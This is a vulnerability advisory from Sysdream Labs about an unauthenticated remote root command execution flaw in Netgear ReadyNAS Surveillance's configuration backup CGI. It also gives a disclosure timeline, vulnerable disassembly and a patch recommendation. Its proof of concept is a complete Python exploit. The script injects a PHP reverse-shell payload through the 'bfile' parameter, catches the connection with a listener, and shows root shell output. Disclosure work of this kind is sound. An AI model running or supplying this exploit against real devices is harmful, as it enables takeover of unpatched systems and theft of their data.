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Netgear ReadyNAS Surveillance: Unauthenticated Remote Command Execution

2016-03-13 05:45
Unauthenticated Remote Command Execution in Netgear ReadyNAS Surveillance
=========================================================================

Product Description
===================

Netgear ReadyNAS Surveillance is a NVR (Network Video Recorder) available for Netgear NAS systems.

Vulnerability Description
=========================

A critical vulnerability has been found in Netgear ReadyNAS Surveillance configuration backup feature, allowing remote
users to execute arbitrary commands as root.


Unauthenticated Config File Download + Remote Root via RCE
==========================================================

Because the ReadyNAS Surveillance cgi_system cgi application doesn't check the
user-provided "bfile" POST parameter and does not check if the user is authenticated, it's
possible to execute arbitrary commands as root.
It's also possible, without RCE, to download the ReadyNAS Surveillance configuration files.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-88

----------------
Proof of Concept
----------------

#!/usr/bin/env python
import requests
import socket
import telnetlib
from thread import start_new_thread
from time import sleep
import argparse

def exploit(target, reverse):
print "[~] Sending payload..."
requests.post("http://%s/cgi-bin/cgi_system?cmd=saveconfig"; % target,
data={"bfolder":"/tmp",
"bfile": ";$(php -r '$sock=fsockopen("%s",%d);exec("/bin/sh -i <&3 >&3 2>&3");')"
% reverse,
"inc_emap": "no",
"inc_pos": "no"})

def handler(handler, lport):
print "[~] Starting handler on port %d" % lport

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()

print "[+] Connection from %s" % addr[0]

handler.sock = conn

if __name__ == "__main__":
print "[~] ReadyNAS Surveillance Remote Root Exploit (quick'n'dirty) - Nicolas Chatelain
<n.chatelain[at]sysdream.com>"

parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--localhost", required=True)
parser.add_argument("--localport", required=True, type=int)

args = parser.parse_args()

t = telnetlib.Telnet()
start_new_thread(handler, (t, args.localport))
sleep(1) # Just in case...
start_new_thread(exploit, (args.target, (args.localhost, args.localport)))
sleep(2) # Wait for it...

if t.sock_avail():
print "[+] Exploited."
t.interact()
else:
print "[!!] Exploit failed."

Shell output :

nightlydev@nworkstation ~/Lab/ReadyNAS_Exploit $ python readyroot.py --target 10.x.x.2 --localhost 10.x.x.10
--localport 9999

[~] ReadyNAS Surveillance Remote Root Exploit (quick'n'dirty) - Nicolas Chatelain <n.chatelain[at]sysdream.com>
[~] Starting handler on port 9999
[~] Sending payload...
[+] Connection from 10.x.x.2
[+] Exploited.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=98(admin) gid=98(admin) euid=0(root) groups=0(root),27(sudo),42(shadow),98(admin)

---------------
Vulnerable code
---------------

The vulnerable code is located in the /apps/surveillance/bin/cgi_system file.

bfile
------------------------------------------------------------------------------------vv---------------
.text:00010CD8 LDR R2, =aCdSBinTarZcfSP ; "cd %s; /bin/tar -zcf %s passwd shadow"
.text:00010CDC MOV R0, R10 ; s
.text:00010CE0 STR LR, [SP,#0x1658+var_1658]
.text:00010CE4 BL snprintf
.text:00010CE8 MOV R0, R10 ; s
.text:00010CEC BL strlen
.text:00010CF0 LDR R1, =aDevNull2DevNul ; " > /dev/null 2>/dev/null"
.text:00010CF4 MOV R2, #0x19 ; n
.text:00010CF8 ADD R0, R10, R0 ; dest
.text:00010CFC BL memcpy
.text:00010D00 MOV R0, R10 ; command
.text:00010D04 BL system

--------
Solution
--------

Update to the latest version of Netgear ReadyNAS Surveillance.

Timeline (dd/mm/yyyy)
=====================

* 19/08/2015 : Initial discovery
* 20/08/2015 : First attempt to contact security[at]netgear.com -> No response
* September 2015 to December 2015 : Multiples attempts to contact security[at]netgear.com -> No response
* 20/01/2016 : Attempt to contact Netgear chat support
* 20/01/2016 : Response from Netgear, technical details and proof-of-concept sent.
* 20/01/2016 : Netgear confirms that exploit is working.
* 08/02/2016 : Netgear publishes security vulnerability announcement :
http://kb.netgear.com/app/answers/detail/a_id/30275 and remove the ReadyNAS Surveillance package.
* 03/03/2016 : Netgear publishes a new version of ReadyNAS Surveillance that fixes the vulnerability.

Credits
=======

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


--
SYSDREAM Labs <labs () sysdream com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream

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Description: OpenPGP digital signature



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